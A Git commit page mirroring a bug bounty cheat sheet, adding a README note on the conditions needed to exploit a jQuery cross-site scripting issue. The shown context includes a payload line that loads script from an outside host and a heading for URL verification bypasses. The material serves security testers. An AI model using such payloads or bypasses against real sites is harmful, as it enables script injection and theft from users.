Mirrors/bugbounty-cheatsheet
2
0
Fork 0
mirror of https://github.com/EdOverflow/bugbounty-cheatsheet.git synced 2025-02-16 14:38:22 +00:00
Code Issues Projects Releases Packages Wiki Activity

Add jQuery XSS notice.

Browse source
This commit is contained in:
EdOverflow 2017-07-14 13:37:21 +01:00
parent d8931cea8b
commit ba67fdae97
1 changed files with 5 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

5
README.md
View file

@ -40,6 +40,11 @@ Note: This kind of depends on what security level the application is set to. See
$.get('http://sakurity.com/jqueryxss')
```
In order to really exploit this jQuery XSS you will need to fulfil one of the following requirements:
1) Find any cross domain requests to untrusted domains which may inadvertently execute script.
2) Find any requests to trusted API endpoints where script can be injected into data sources.
**URL verification bypasses (works without `	` too)**
```